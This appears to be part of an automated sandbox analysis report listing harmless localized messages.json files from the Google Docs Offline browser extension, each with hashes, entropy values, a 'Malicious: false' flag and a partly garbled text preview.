Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
